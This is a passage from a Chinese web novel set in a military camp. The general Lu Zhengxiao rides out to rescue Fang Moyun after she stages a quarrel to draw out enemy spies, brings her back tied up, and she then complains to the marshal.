朗川公主闻言微微一愣，目光落在正啸的脸上，似乎若有所思。她的表情沉静了一瞬，而营帐内其他人——若辰、执礼，以及一旁的护卫队中人，都齐齐转头看向她。
饶盛男忽然扬眉一笑，抬眼直视正啸，语气爽朗的问道：“大将军若要我不计较此事，不至朗川与你国邦交分崩，与我大婚，入赘朗川如何？”
此言一出，帐内瞬间鸦雀无声，若辰愣在原地，执礼更是瞪大了双眼，张着嘴半天没能发出声音，甚至连一旁的护卫都屏住了呼吸，仿佛不敢相信刚刚听到的话。
正啸的脸色骤然沉了下去，眉头紧紧皱起，执礼心中一阵惊慌，他知道正啸素来最恨人威胁自己，亦厌恶人拿自己婚配之事相要挟，这朗川公主……
半刻后，朗川公主看着正啸那压抑暴怒的神情，忍不住一阵大笑，笑声清脆而洒脱。
“果然是众人皆诧异，而你，只有愤怒！”饶盛男挥了挥手，爽朗的笑道，“玩笑而已，不必当真。”
正啸皱眉冷冷地扫了朗川公主一眼，语气冷淡而疏离，准备起身：“公主若无大碍，那便好好养伤。”
他的语气带着不容置疑的威严，直接将朗川公主的话意打散。然而，饶盛男却毫不在意。
但此时饶盛男的护卫队队长居然开口说话了：“请问大将军这便是来探望公主的态度？还有，那重伤公主之人，贵军可有逮到？”
正啸的眼神顷刻间，如刀般凌厉地看饶盛男的护卫队长，那人居然目光亦丝毫没有退却，好似在说卢正啸若不交出此人，此事没完！
营帐内的气氛渐渐紧张，若辰和执礼显然从刚刚逼婚之震撼中缓过来，也感受到这个护卫队长眼中的敌意
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……
饶盛男边继续豪爽地喝着水，边透着几分戏谑嘴角微微扬起：“方茉云说得一点没错，大将军你啊，定然会纡尊降贵，特意来我营帐为她求情。”
饶盛男放下茶碗，众人顿时有些不解的望向她。
她却似笑非笑地接着说：“但你顶多能忍半炷香的时间。一言不合，便会转身离去，不管她死活了！”
正啸听到这话，眉头皱起了片刻，执礼等人亦愣在原地望向饶盛男，在试图分辨她言语中的真意。
饶盛男随即转头看向站在身旁的护卫队长，语气平静而温和：“你退下吧，茉云并没有重伤我，反而她是我朋友。”
护卫队长愣住了，握紧剑柄的手微微一颤，不敢相信自己听到的，他犹豫了一下，还是低声问道：“公主，她让您从马上坠下，一口鲜血……”
朗川公主摆了摆手，打断了他的话：“她让我帮个忙，虽然我不知她为何让我从马上摔下，但我应了，朋友嘛，自当是两肋插刀，但是说来这吐血……她让我咬着那果子加蜂蜜含在嘴里当吐血，但属实酸得要命又甜得发腻，太难受了，快去给我多弄点茶水来！”
营帐内顿时一片沉默，所有人都怔住了，包括执礼、若辰和护卫队众人，眼神中皆带着难以置信惊讶。
而正啸的眉头紧锁，眼中深沉如海，眼底似乎多了一丝疑虑，方茉云她又在干什么……
“所以……”朗川公主抬起头，看向正啸，目光坦然，“无需在意，你们回吧。”
正啸沉默片刻，之前本欲离开此刻却站定未动，若辰亦看出正啸的心思，忽然追问道：“公主，她还说了什么？”
朗川公主顿了顿，嘴角上扬的调侃道：“你两何时对女子闲聊如此感兴趣了？”
刚刚还沉稳如山，神情波澜不惊的正啸，此刻眼神一紧，猛地抬头望向执礼，声音低沉却透着一丝锐利：“她回营这几日，在干什 么？”
执礼被他突如其来的质问怔住了片刻，随即连忙答道：“少主，定是有人泄露了您的行程，才导致被峑戎埋伏袭击，她在查军中细作。”
正啸的眼神骤然一变，平日里的冷静和从容瞬间荡然无存，瞳孔深处闪过一抹明显的焦虑，这一瞬间，脑中浮现了令人不安的念头。
就在这时，帐外忽然传来东山焦急的声音：“大将军可在营帐中？”
千山正守在在帐外，循例伸手拦住东山，沉声说道：“杨大人，稍等，我先通报大将军。”
然而，素来重礼的东山急切得根本顾不得，抬高声音说道：“请速速禀报大将军！刚军中器械库少了弓箭，我亦还查到，有一队人冒用副帅的手令私自出营了！”
这一声，顿时如惊雷般在正啸脑中炸开，他的脸色瞬间剧变，眼中终于涌现出一抹难以掩饰的慌乱。他猛然转身，浑身的气势瞬间变得凌厉而迫人。
朗川公主本悠然自得地坐在一旁喝水，此刻也怔了半刻。她抬头看向正啸背影——那个方才还沉稳如山的男人，自己自小好似都从未见过他这般紧张与慌乱过。
正啸飞身而出，脚步快得几乎带起了风，猛地来到营外，仰头吼道：“烈儿！”
声音刚落，远处马厩里突然传来一阵嘶鸣声，他的宝驹挣脱了牵马士卒的束缚，疾驰而来而来，瞬间冲到正啸的面前。
正啸毫无迟疑飞身上马，动作快得令人目不暇接，他身形刚稳，便一拉缰绳大声吼道：“沧海！带一队人马随我来！”
话音刚落，马儿便昂首长嘶一声，转瞬之间往营门外冲去。众人还未反应过来，沧海高声应道：“是！”
他转身便点了几十名精锐士兵，众人迅速跨上战马，紧随其后追正啸而去。
烈儿带着正啸如风般疾驰而去，他本有伤在身，盔甲都还未来得及穿，马蹄扬起的尘土已遮蔽了身后的视线。沧海与他的人马紧随而上，片刻之间，这支队伍便已消失在南营众人的视线中。
正啸疾驰于马上，他知道茉云在用她自己引出军中细作……万箭穿心亦可活，而此刻对于他这样一个——出生起便立于天地间无所畏惧的人来说，这份恐惧，才是真的折磨，顷刻好似将人逼疯……
231.寻她
军中众人被这突如其来的动静震惊了，许多士兵探头张望，或站在岗哨上踮脚遥瞰，皆满脸错愕地看着这一幕，如此大张旗鼓，显然事态非同寻常，之前习武场上那场决裂，好似一炷香不到的时间就传遍了整个军营。
难道是大将军真的和方校尉如此决裂，要如此带人逮捕，可是为何是人走了这么长时间才抓，顿时营中众说纷纭，却没有人敢轻举妄动……
执礼站在营地中央，目送着正啸的背影渐渐消失，整个人愣在原地，随即叹了一口气，此时他对这局势无能为力。旁边的东山同样无言，两人对视了一眼，都只能默言无奈。
“到底怎么回事？”若辰眉头紧蹙，他的目光直直地望向执礼。
执礼抬眼看想若辰，语气中带着几分疲惫与无奈：“茉云回营时，便问我等，可有抓住泄露大将军行程的细作。我等如实答复，暂未查明，她随即便说，这事她亲自来捉。”
“然后呢？”若辰追问道。
“后来她又问东山，是否军中皆传言，大将军厌弃她。我们没隐瞒，告诉她确有此传闻。结果她……”他停顿了一下，语气沉重，“她今日清晨便是故意在习武场与朗川公主大战了一场，之后，又趁机借此事与少主大吵一架，随后愤而离营。”
“愤而离营如何捉住细作？”若辰皱眉，显然对这一点感到疑惑，可是说完他自己亦顿时一愣，然后眼中亦瞬间闪过不安……
执礼眼神复杂，低声说道：“对，你也想到了吧，她想制造一个假象——让人以为她与卢家军愤而决裂，孤身一人离开，是一时冲动。然而，她是故意诱军中细作伺机而动去围杀她！”
“军中细作会在此时冒着定然被暴露的风险出营杀她……”若辰眉头锁得更紧，语气中透着不安和思虑。
执礼深吸了一口气：“裴桥之战后，茉云已然登上了峑戎悬红榜榜首，现在峑戎的暗营归幽戎的亲信，他身边副将集益执掌，也就是军中细作亦归他管，幽戎曾当着集益的面，在裴桥关外跟茉云说，若她出城跟他走，他放弃攻打裴桥，集益……一直觉得茉云蛊惑他主子至深，这世上最希望茉云死的便是集益，所以他很有可能向细作下令，誓要不顾一切诛灭方茉云！”
他的声音低沉却却笃定，可惜自己到此刻才看穿了茉云的意图。
若辰怔住了，眼神全是焦虑，脸色已经变得极为难看：“细作宁愿暴露也要去围剿她，定然是怀着死士之决，她简直……又是在赌命！”
一旁的东山终于开口，语气担忧中透着几分的敬佩：“她一向是如此。孤身涉险也好，赌命也罢，她从不在意自己有多危险，只在意她认定的事一定要干。问题是这一次，大将军能赶到吗？”
众人眼中又多了几分复杂的情绪，正啸对她的在意，她其实定然知道。她自己选择独自一人面对，除了对自己过分的自信，还很显然的知道……正啸绝不会允许她孤身一人赌这一局，所以她……
这便是方茉云，她就好似长空万里的云，众人只能仰望，却从来无人可预测和约束，此刻他们只能站在此处，期望他们能安然无恙归来，其余什么都干不了！
而此刻的正啸策马疾驰身影宛如一道黑色的闪电掠过关外辽阔的苍野，他脸上的神情好似从未如此紧绷，眼中燃烧着几乎无法掩饰的焦急和慌乱，手中的缰绳几乎被他握断一般。
关外广袤无垠，四周有连绵的山脉也有荒凉的旷野，她能去往哪里？她离营不过三个时辰，不可能走得太远，可是，这辽阔天地却忽然变得好似无边无际，像要吞没所有人的踪迹。
“方茉云，你在哪儿……”他低声咬牙目光紧盯着地面，飞快扫过沿途的一切，不断寻找着马蹄印的痕迹，毫无踪迹之时，只能靠直觉判断，正啸试图让自己冷静下来，但焦虑却焚烧着他的理智。
时间一分一秒地流逝，天边的光线逐渐暗了下来，天际的夕阳渐渐被群山吞没。他的心越发沉重，可他不能停下——她一定就在这附近，他绝不能接受，她就这么消失在这片辽阔的荒野中。
当他疾驰至丛容谷附近时，烈儿忽然停住了脚步。马儿仰天发出一声长长的嘶鸣，声音在山谷中回荡不绝，正啸心头猛然一紧。
“烈儿？”他心中顿时生出一丝直觉，他缓缓放松了缰绳，任烈儿前行，它突然前蹄高高扬起，发出第二声嘶鸣，像是在呼唤什么，又像是感应到了某种伙伴的气息。
正啸瞬间对身后赶来的沧海、威行等人喝道：“跟我进山谷！”
“是！”沧海、威行立刻带着一队精锐紧随其后。
正啸一夹马腹，烈儿直奔丛容谷深处而去，进入山谷弯弯曲曲的小路两侧布满了荒草和乱石，四周陡峭的山壁遮蔽了暮色的最后一抹微光，山谷内开始弥漫起一股湿冷的气息。
正啸知道，烈儿绝不会无缘无故的嘶吼，他和茉云的马儿同为千里驹，素来关系匪浅——它一定是感受到他们的存在，或者说，她曾经出现在这里。
“烈儿，帮我到茉云……”他咬紧牙像烈儿说道，烈儿的速度忽然慢了下来，鼻孔中喷出一阵热气，似乎在等待什么。正啸的目光越发锐利，扫过周围的地形，他的手本能地摸向腰间的佩剑。
“全队戒备！”他冷声下令，他好似亦感受到了她有可能在这里……
烈儿则突然又带着正啸，直冲山谷更深处而去。沧海带队不敢有丝毫迟疑，纷纷策马跟上，山谷中忽然响起急促的马蹄声，是从谷内回声传来。
黄昏已至末尾，天色中昏暗的光芒笼罩着山谷，寒风低吟，显得格外肃杀。正啸疾驰而过，烈儿的马蹄声震彻山谷。
就在这时，他的目光一顿，终于看见不远处的山道上，一匹满身泥泞的战马正疯狂地朝着他们跑来，正啸目光一紧，认出了那正是茉云之马……
那马儿在远处似乎就看见了正啸与烈儿，仰天长嘶一声，声音中透着一股急切的警示，紧接着，它猛然掉头狂奔而去，仿佛在引领他们，正啸顿时一夹马腹，沉声下令：“随它！追！”
烈儿嘶鸣一声，
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四蹄如风，飞奔而去，沧海和他的队伍紧随其后。马蹄声在山谷中激荡，那马儿显然有些力竭，但依旧倔强地奔驰带路，一刻都不曾停歇。
前行数里后，夜幕愈发深沉，不远处的风声中忽然传来尖锐的破空声……是箭矢划破长空的声音！
正啸的眼神一怔，几乎本能地伸手抽出马鞍旁的弓，动作迅捷果断。
与此同时，山谷深处，茉云正穿梭于林间，她的脸上沾满尘土和汗水，但双眼依旧锐利如刀，动作敏捷如豹。她已与追踪的杀手一路缠斗快一个时辰，杀手的箭如影随形，一箭接一箭地追踪着她。她凭借出自己非凡的箭术底子，靠听风辨箭，每次都险之又险地躲过，然而敌人显然是训练有素，亦配合得极为默契。
就在她躲过一箭之时，耳边传来了箭矢同时从三个方向破空而来的声响。她的心瞬间猛然一沉……这三箭来自不同方向，显然无论如何她都无法完全躲避。
她猛然转身深吸一口气，目光如炬。她迅速判断形势，既然无法全躲，哪怕承下这一箭，避开更致命的两箭也好，于是她迅速靠向一块山石！
下一刻，她闪身到山石后，迎着箭气最弱的箭矢的方向，就在她逃无可逃，只得承受此箭之时，忽然一支气势如虹、快若流星的箭，破空而至。那箭带着惊人的力量，直接将将射向她的暗箭从半空中射断，箭头深深地钉入了她身旁的一棵大树上，箭尾还在微微颤抖。
茉云怔住了，微微抬头，看着那插在树上的箭。凭着最后一丝入夜前的昏暗光线，她认出了那支箭，这一瞬间，心中翻涌起激动，滚烫得几乎将她的伤势疼痛完全掩盖，嘴角顷刻浮现出一抹笑意。
她不加任何思索，飞身跃起敏捷如燕，在树林间穿梭，朝着那支箭发出的方向狂奔而去，是他来了……
穿过树林，她终于看见了那个熟悉得不能再熟悉的身影。正啸一手握着缰绳，另一手搭着长弓，烈儿在他身下稳稳地立着，那高大挺拔的身躯在朦胧夜色中宛如一座不动的山岳。
顷刻间，茉云亦现身了，两人四目相对，仿佛整个世界都安静了下来。正啸的目光紧紧锁定她，眼中皆是难以掩饰的喜悦。他猛然伸出了自己的手，沉稳有力的手臂向她伸来，似乎带着一种无声的命令，到我身边来。
茉云没有丝毫犹豫，借着树枝一跃而下，像是扑向他一般，还未落地之时，便被他一把拉住手臂，直接拉上了马……她稳稳地坐到他身前怀中，身后的危险好似顷刻就被这熟悉的气息所驱散。
就在这一刹那，正啸忽然收紧手臂，将她狠狠抱进怀里，带着一种无法掩饰的激烈情感，好似要将她身躯融入自己的胸膛一般。
他的下巴几乎压在她的头顶，那强有力的臂膀紧紧将她围绕，他此刻的呼吸还是如此粗重，自己终于从生死之间把她拉回身边。
茉云亦感受到了——他胸膛让人沉醉的温暖和还有他那有力的心跳，她脸上浮现出难以掩藏的开心笑意，纵使山海远阔，荆棘万丈他都会来，寻到自己……
232.柔情
此时两人谁也没有言语，唯有入夜的风拂动他们的发丝，带来月下的绵绵和温柔……
然而，这宁静只维持了短短半刻，随着沧海等人紧随其后，茉云便清醒了过来，神情瞬间恢复了冷静，她望向跟上来的沧海和威行，语气凌厉地指向杀手逃窜的方向，大声吼道：“沧海哥！敌人十二人！
正啸也在此刻回过神来，他抬手一挥，忿然而威严地下令：“分两队！威行带一队，堵住山谷出口！沧海带其余人包抄！”
“是！”沧海和威行怒吼一声，随即带着人马飞速朝目标方向疾驰而去。
茉云收回目光，转头看向正啸，脸上重新灿然的的笑意，扬眉说道：“诶，卢正啸，你怎么总能找到？”
正啸沉沉地叹了一口气，俯身望着她，眼神中的惊魂未定终于渐渐平息，取而代之的是一抹复杂的无奈，缓缓说道：“你就能否消停一点……”
千山和万莫都站在一旁守卫着，千山脑中皆是无语，自己刚才为何不停远点，现在离远点亦好似太过明显，万莫则是一脸找到茉云的开心……而正啸和茉云此时都已抬目严肃的望向谷中的战况。
不到半个时辰，沧海便带人归队，押解着十一名杀手归来。
这些杀手中，有好几人是军中的细作，个个神情阴冷、嘴唇紧抿，却显得狼狈不堪，显然都是在突围中失利被擒。而此时，山谷已一片漆黑寂静无声。
正啸坐在烈儿背上，目光冷冽地扫过押回的杀手，声音沉沉地说：“沧海，带队押解敌人回营。”
他的军令素来威严而不容置疑。
沧海立即抱拳领命：“是！”
随即他命令谷中将士准备收队回营。然而，话音刚落，一旁的茉云厉声吼道：“怎可放过！上次暗营，我便是昏了头放走集益！结果，那家伙日日做梦都想弄死我！”
她说着便要挣脱开正啸，朝自己的马飞身而去，显然打算不顾军令继续追击。正啸目光一沉，脸上的耐心瞬间消失。他二话不说抽过马鞭，动作快如闪电般直接将茉云双手绑了！
“你绑我干什么！”茉云手被绑住几乎动弹不得，顿时吼道：“卢正啸！你跟那人是一伙的啊？”
“回营！”正啸冷着脸，甚至连看都懒得看她一眼，沉声喝道：“方茉云，你别逼我动手将你打晕押回去！”
这一声呵斥让正在押解敌人归队的沧海和威行都愣了一下。沧海满脸无奈摇摇头，似乎早已习惯了他两的争吵。而威行则憋着笑大声回答：“又被抓了吧？”
茉云闻言气得瞪着威行一眼，然后望向沧海和万莫没好气地说道：“沧海哥！万莫！帮我解开！”
沧海无奈地只能扭过脸，马上去指挥队伍末端的士兵押解敌人，装作完全没听见，而万莫满脸率真的回复道：“少主是我主子啊！他绑的我怎么解！”
茉云眼看无人搭理自己，怒气更甚，回头盯着正啸，一脸不服气地嘟囔道：“卢正啸，那可是差点害死你的军中细作！”
威行无语的望向茉云低声笑着说道：“你这就是没打过仗，天黑之后，根本难以分辨追踪的方向。若久留此处，虽离南营不远，但敌人杀手的增援若至，恐怕便是另一场厮杀。何况……大将军和你都还有伤在身，此地不宜久留。”
茉云听罢，当听见威行说正啸身上有伤，她才意识到……没再坚持，只是没好气的说道：“怂货总是有理由！让我去，你看能不能逮住！”
她的话还未说完，只见正啸抬起了手，一副要动手的架势。茉云立刻条件反射般往旁边一闪，目光戒备地看着他：“行行行，回营！”
正啸放下手瞥都没瞥她一眼，没有再理会，转身他抬手示意队伍准备返程。
威行笑得前俯后仰，沧海都忍不住笑了，他摇了摇头继续押解敌人，整个队伍瞬间又整肃起来，在月色下向南营而去。
夜色静谧，月光如水洒向大地，朦胧地照向队伍。正啸亦知道全队一路奔驰而来，又是满山谷的追击杀手，早已弥漫着一丝倦意。所以他下令放慢了脚步回营。
茉云坐在正啸身前，身体随着马儿微微摇晃。她的头渐渐垂下，眼皮似乎变得越来越沉重，没走出几里路，她便昏昏沉沉地靠到了正啸的怀里，呼吸平稳的睡着了。
正啸低头看向她，眉头微微皱起。他望着她——全身满是疲惫和伤痕，她从清晨到入夜，争吵、追击、厮杀一刻也未停歇，也该是累了。
他微微收拢了双臂，让她靠得更安稳一些，茉云的头轻轻倚在他的胸口，他能感受到她的唇间的呼吸若有若无地拂过，带着一丝温热，而自己的心跳却在这宁静的夜里显得格外清晰。
这一刻，周围的一切仿佛都安静了了。正啸低下头，目光中透出他人未曾见过的柔软与深沉，轻轻的说道：“方茉云，你说我将你弃之如敝履……可自中州，我让你每日酉时来见我时起，我就从未有一刻想弃你。”
他的声音低缓，言语间的那抹温情，隐藏在他向来不曾流露的冷漠表情背后，深藏在这片月色之中。
茉云在半梦半醒之间，她听见了……可她没有睁开眼睛，好似睡得很沉。但她的心中早已荡漾出可卷席全身的柔情，可她宁愿沉浸在这一刻难得的温柔与宁静中，哪怕这只是片刻，让她终于放下了一切防备，靠在他的胸口。
她当然知道，从一开始他就看得出自己的狠戾，了解自己的疯癫，亦知道自己的桀骜，懂自己的不屈，这世上从没有谁能像他这样真正的接纳、偏袒和管着自己，只有他可以，自己也只任由他可以……
因为这世上只有他真正包容了自己，在自己所有的不论是心灵还是身躯的不归路上，他都会出现，将自己拉回他身边。
这一刻，月色温柔，天地之间仿佛只剩下他们两人……
马儿快到军营之时，茉云才轻轻动了动，缓缓睁开了眼。她的目光还带着一丝朦胧，似乎对眼前的景象还有些模糊。她抬起头，看见的便是正啸那张冷峻的侧脸，他的目光望向前方，深邃而沉稳，这一刻，他眼中的温柔好似亦在随风而逝，因为快要进入军营了……
茉云意识渐渐清晰，脑中迅速回想起
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了一切，她都已经习惯了，每次跨过营帐的门，他就好像变成另外一个人，她微微一动想从他怀里坐直，却因为动作牵动了肩上的伤口，眉头轻皱了一下。
正啸低头瞥了她一眼，眼神中依旧冷静，他没有说话，但他略微松开了双臂，给她多留出一点空间。
此时，军营的大门已在不远处，篝火的光芒在夜色中微微摇曳，映照出南营那高大的门楼和一片肃穆的守卫气息。伴随着马蹄声的接近，门前的守卫立刻提高了警觉，发现是大将军迅速开门迎了上来。
当马儿缓缓走到军营门口时，茉云分明感受到身后的气息……从月色下的温暖，骤然一变，变得冷冽而肃杀，他的周身顷刻间透出一股不可撼动的威严，眉宇间已不见半分温情。
是啊，他是整个南营未来的统帅，是众将士的依靠，是这片土地最无可替代的掌控者。从踏入营门的那一刻起，他身上的柔情便不该再有一丝痕迹，取而代之的，必须是令整个军营为之震撼的威严与冷峻。
军营大门缓缓打开，门前的篝火映出了一片焦灼的光影。今夜守营的将士们听到纷纷迎上前来。然而，当他们看见被绑回的茉云时，一时间竟然齐齐愣在了原地，眼中满是惊讶……
今夜负责值守参将是雄山，原本一脸严肃，当他看见茉云被绑顿时也怔住了……茉云居然还是被押解回来，他站在原地，一时不知该说什么连行礼都忘了，旋即就想下跪求情。
幸亏威行坐在马背上故意大声咳嗽一声，吸引了雄山的目光，在火光的映照下，威行拼命冲雄山使眼色摇头，还带着微笑，示意茉云没事。
雄山才立马晃过神来，将惊愕瞬间咽了回去，脸上挂起了一抹崇敬的笑意，立刻上前行礼：“大将军！”
“嗯！”
雄山笑着小跑着上前，伸手牵住了烈儿的缰绳，稳稳将骏马拉住，抬手让众手下立即上前迎大将军和诸位将士回营。
正啸依旧一脸严肃的飞身下马，动作干脆利落，没有停留半刻，冷峻的身影瞬间往自己营帐大步走去。
茉云灵巧的飞身下马，看向正啸决然离去的背影，顿时挑了挑眉，随即扬声唤了一句：“诶！”
正啸的脚步微微一顿，转身冷冷地看向她，目光如冰，眼神里已没有半分柔情，只有冷冽与不容置疑的威严。
而茉云却丝毫不在意他的目光冰冷，反而嘴角露出了一抹笑意，她仰头望向他。
就在这一刻，她忽然在心中闪过一个念头，若是其他女子，面对他这样的若即若离，顷刻变脸的柔情，会是什么感受呢？这种忽冷忽热，凌厉与炙烧交替的眼神，会让人无所适从吗？
可自己毫不在意！初见他时，他便是冷峻严厉、威武中透出刚毅，气势好似冷眼俯瞰天下的大老鹰，凶猛而霸气，自己自幼喜欢凶手，他这副鬼模样自己初见便也挺喜欢的！
这些年来，久处亦怦然，茉云望向他，亦凌冽而灿然的笑了，都说凶恶是不是好词，那是否他的“凶”才正好配上自己的“恶”呢，卢正啸，此生固短，无你何欢……
233.厚爱
方茉云笑容带着几分洒脱、豪迈和挑衅……仿佛她的笑不仅是在表达情绪，更像是在鉴赏喜爱。这一笑，竟让正啸原本冷冽的目光微微一怔，好似有一瞬的愣神。
然而，还没等正啸的情绪有更多波动，茉云眼神一转，心想这场戏我还得演完，顷刻间戏精又闪现了，她忽然露出一副没好气的表情，挥着被绑的手，冲正啸不满地说道：“给我解开！”
正啸冷冷地撇了她一眼，显然没有半分想要搭理她的意思。
茉云见他这模样，一脸不满的举着被绑的双手，故作不服的神情，看向站在一旁的沧海和威行、雄山他们，眼神中满是你们倒是帮我解开的暗示。
威行和雄山对视了一眼，纷纷移开了目光。大将军不发话，谁敢动手？他们几个可是连半分违抗正啸的胆子都没有。
眼看茉云快要爆发，沧海无奈地故意瞅一眼不远处的元帅营帐，那里的烛光还亮着，似乎元帅还未休息。
茉云顺着他的目光看去，顿时明白了他的暗示，她撒腿就朝元帅营帐跑去，边跑还便喊道：“元帅！”
正啸顷刻反应过来，但是已来不及拦住她，她那灵活的身影已飞身到了元帅营帐。
茉云飞奔到营帐门口，站定后毫不犹豫地高声喊道：“元帅，大将军莫名其妙地将我绑了！我是出去抓细作的！”
元帅帐内，原本安静的气氛瞬间被她的喊声打破，几名守在营帐旁的亲兵都愣了一下，而下一刻，元帅营帐里马上传出了清晰的声音。帐中人都顷刻露出了喜悦的笑容，望向营帐门帘。
“砰！”案几被猛地推开的声音响起，伴随着一声威严的喝声：“快传她进来！”
茉云的目光挑衅地回头看了一眼不远处的正啸所在的方向，嘴角露出一丝笑意。
正啸压根懒得再理她，无语的往自己营帐走去，可是没走多久，就听见元帅的吼声：“传卢正啸大将军他们，都来我营帐！”
正啸无奈的停住了脚步，听元帅的口气都知道，显然茉云去告了自己黑状，众人都忍不住伏低头忍着笑。
他走入营帐之时，元帅亲自给茉云刚松了绑，没好气的望向正啸骂道：“人茉云立了大功，你将她绑了押解回来，众将士看了，怎么想？”
威行马上想替正啸解释道：“不是，元帅，其实……”
元帅不容分说的打断说道：“不是什么不是！这不是你们元帅的马鞭？”
众人知道元帅向来赏识茉云，而且慢慢的已经越来越赞赏，到了那种不分缘由护着的地步。
元帅冲着正啸指着茉云说道：“本帅就问你，日后她若做了将军，还如何立威啊？”
茉云亦站在元帅旁边一脸同意的点点头，然后狐假虎威的看向正啸，嘴角却忍不住露出一丝狡黠的笑意。东山和执礼相互看了一眼都低头忍着笑。
“她怕是出生就威，还要做什么将军立威！”正啸没好气的说道。
“你说的那是你吧！你得亏生在帅府，出生就是个将军！”茉云亦指着正啸亦没好气的骂道，“若生在市井，你以为你比我好！”
元帅愣了半刻，看着他两吵架的神情，顿时居然乐了，看向沧海道：“沧海，到底咋回事啊！”
沧海实属无语的望向元帅禀报道：“她实属莽撞，被十几个杀手围追堵截，幸亏大将军赶到及时……”
“元帅，我承认我有些失策，我开始还以为也就一两个细作，这我还应付不了？谁知道卢正啸在南营养了一群细作，结果我引了出去，他还没抓到，哼！”茉云故作气急败坏的指着骂道，“他也就有本事对我跟个疯狗似的，逮着我不是狂吠就是乱咬！
“扑哧”元帅顷刻哄堂大笑，第一次听见有人骂正啸是疯狗，正啸则一脸不想再跟她再废话一句的神情，转头就走，离开了元帅营帐。
夜风吹拂过带着一丝凉意，营内一片寂静，天际的月光映出大营的一片冷清。正啸抬头看了一眼皎洁的月光，无奈轻轻叹了一口气。这一日的奔波与情绪仿佛终于在此刻安定了些许……
回到自己的营帐后，他神情略显疲惫，瞧见白神医已经等候在帐中，手中拿着医药箱，见正啸回来，便笑着起身行礼道：“大将军，今日又是如此精彩的一日啊。”
正啸听到这调侃的话语，只是无语的微微皱了皱眉，没有多言。他解下外衣，露出包扎的伤口，默默倒在床榻上。白神医旋即上前，熟练地开始为他换伤口的棉布。
“也不知你这日子，何时能消停些，方能好好养伤。”白神医边换药边轻声说道，语气亦透着一丝无奈。
正啸并没有说话，无奈的看了白神医一眼，便静静地躺在榻上，任由白神医为他处理伤口，这一刻，他终于感到一丝轻松，至少现在她是安稳的，仍然在营中，仍然在自己身边，这惊心又惊魂的一日，直到此时他终于不需要再绷紧着脑中的弦，濒临在崩溃边缘……
他的思绪不知不觉飘回了方才的那片月光下，那一瞬间，她在怀中的气息，贴近自己胸膛的温暖……他终于沉沉睡去，眉宇间也少了几分平日的冷峻与威严，多了一丝难得的安宁和愉悦。
白神医见他入睡，长长地叹了一口气，轻轻为正啸拉上被子，随后，他提起药箱，悄然离去，脚步放得极轻，不愿惊扰他终于有的片刻安心的休息。
白神医亦是军中帮忙效力十几年，正啸出生自己便识得他，他从小就是有着超乎同龄的稳重与冷静，十几岁在军营便无人敢轻视其威，可自遇见茉云开始，他便常如山巅起伏般随她情绪起伏，看样子这世上终究是一物降一物，想到此白神医嘴角荡起一丝笑意，准确而言，他两是互相降服。
翌日军营，晨光微凉，茉云还在梦乡，帐外便传来士兵清晰的通报声：“方校尉，元帅营帐传全军将军与参将一炷香后到帐议事，点名几位校尉列席，其中包括您。”
帐内，茉云迷迷糊糊被唤醒，她皱了皱眉翻了个身，声音还带着倦意地说道：“知道了……”
她揉了揉头翻身起床，昨晚洗漱、上药已经是半夜，肩上的伤还在隐隐作痛，浑身上下酸疼得像是散架一般。她忍不住感叹：“怎得混了半生，还是这些苦差事？”
说罢一骨碌爬起来，帐篷里尚有未散的冷意，她随手俯身，用冰凉的水拍了几把脸清醒了些。随后，她伸手拿起校尉服穿好，咬着牙挺直了腰板，迈步向元帅的营帐走去。
走到元帅营帐时，长桌旁已经坐下了不少人，元帅居中，正啸、震北坐在其左侧，魏副帅和周总教头，崔将军坐在其右侧。
茉云一进营帐便依礼给元帅行礼，抬头瞬间她便感受到众人的目光皆落在自己身上。特别是周总教头，那一双锐利的眼睛几乎是用愤怒的目光瞪着她，仿佛恨不得当场教训她一顿。
显然，他已经听说了昨日那场由茉云一手演的状况完全是戏，脸上带着不加掩饰的忿然。魏副帅则坐在一旁，目光中透着几分复杂的无语，显然对昨日之事也颇有微词。
而茉云则站在原地不咸不淡，不卑不亢，保持一贯的态度——死猪不怕开水烫。她扫了一眼桌上坐次，除了元帅，父帅，崔将军、正啸和震北，就只有两位将军沧海和威行坐着，其余参将都站在他们身后。
元帅看见茉云来了，脸上带着温和的笑意，抬手说道：“东山，茉云受了伤，给她搬来一张靠椅，让她坐着。”
“是。”东山在旁温和的应道，随即吩咐亲兵搬了一张靠椅到长桌旁。
茉云揉了揉眼睛，显然还没完全醒，一副懒洋洋的姿态，丝毫未拒绝的径直坐下。可刚一坐下，她无意识的抬头，目光便落在了正啸身边跪着的执礼身上。
执礼低头跪在那里身形绷得笔直，显然是在等候正啸的处置。
正啸则坐在桌旁，脸色冷峻如冰，他从始至终看都没有看向茉云一眼，如以往一般，全然无视她的存在。他的身影依旧如山般稳重，周身透着一股肃杀威严之气，冷冷的向执礼说道：“先起来吧！等下来我营帐！”
“是！”执礼深吸一口气起身说道。
茉云环视周遭一脸的风轻云淡，目光中却顷刻透着一丝隐隐的冷厉，正啸这显然是怒于执礼瞒着他，知道自己要在军中抓细作，却没有告知他，正啸愤而要秋后算账收拾他……
不一会儿，军务大会人到齐了，元帅环视了一圈威严的开口道：“昨日之事，想必诸位也听说，军中议论颇多，为了安定军心，今日便将事情的来龙去脉说与各位听，东山，你代我向大家详细说明吧。”
东山抱拳起身，沉稳地向众人行礼跟大家说明，朗川公主与茉云配合大闹习武场，乃精心策划，目的是为了引出潜伏在军中的细作，数名细作已经暴露，并已被抓捕。
元帅大手一挥说
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道：“此事之所以今日说明，就是为避免军心不稳。现如今细作之事已定，以后无需再议，我卢家军素来上下一心，方校尉此举虽险，却立下大功，容本帅思量几日，如何赏她！”
众人闻言纷纷点头，显然对这番解释颇为信服。魏副帅的脸色铁青，崔老将军亦深吸一口气，因为这些细作居然全数来着他们带来的西营。
元帅见众人议论渐息，轻轻抬手压了压，示意继续。东山行礼退回座位，众人随即进入军务的正题，开始讨论军中事务。
而整个军务会中，茉云表现得极为低调。她自始至终未发一言，甚至都没有抬起头来对视任何人的目光。她坐在桌旁最末的位置，靠着桌边，整个人眼皮耷拉着，看起来像是随时都能睡过去。
几次讨论军情时，其他将军不约而同地看向她，仿佛在等她发表意见，但她却始终一副置身事外的模样，只是点头应和了几句，丝毫没有打算多说的意思，再者领兵打战素来不是她强项，看那作战地图自己都是勉强能懂……
会议进入中段时，她的眼神越发涣散，脑袋甚至开始一点一点地往下垂。站在她身后旁边的小马与太易看着这一幕，拼命忍住笑意。老马偷偷用手肘碰了碰茉云，在拼命提醒她莫睡着了。
“茉云打瞌睡那头，可别一下磕到了桌上啊！”威行捂着嘴，转头跟站在后面的雄山小声说道，两人差点没笑出声。
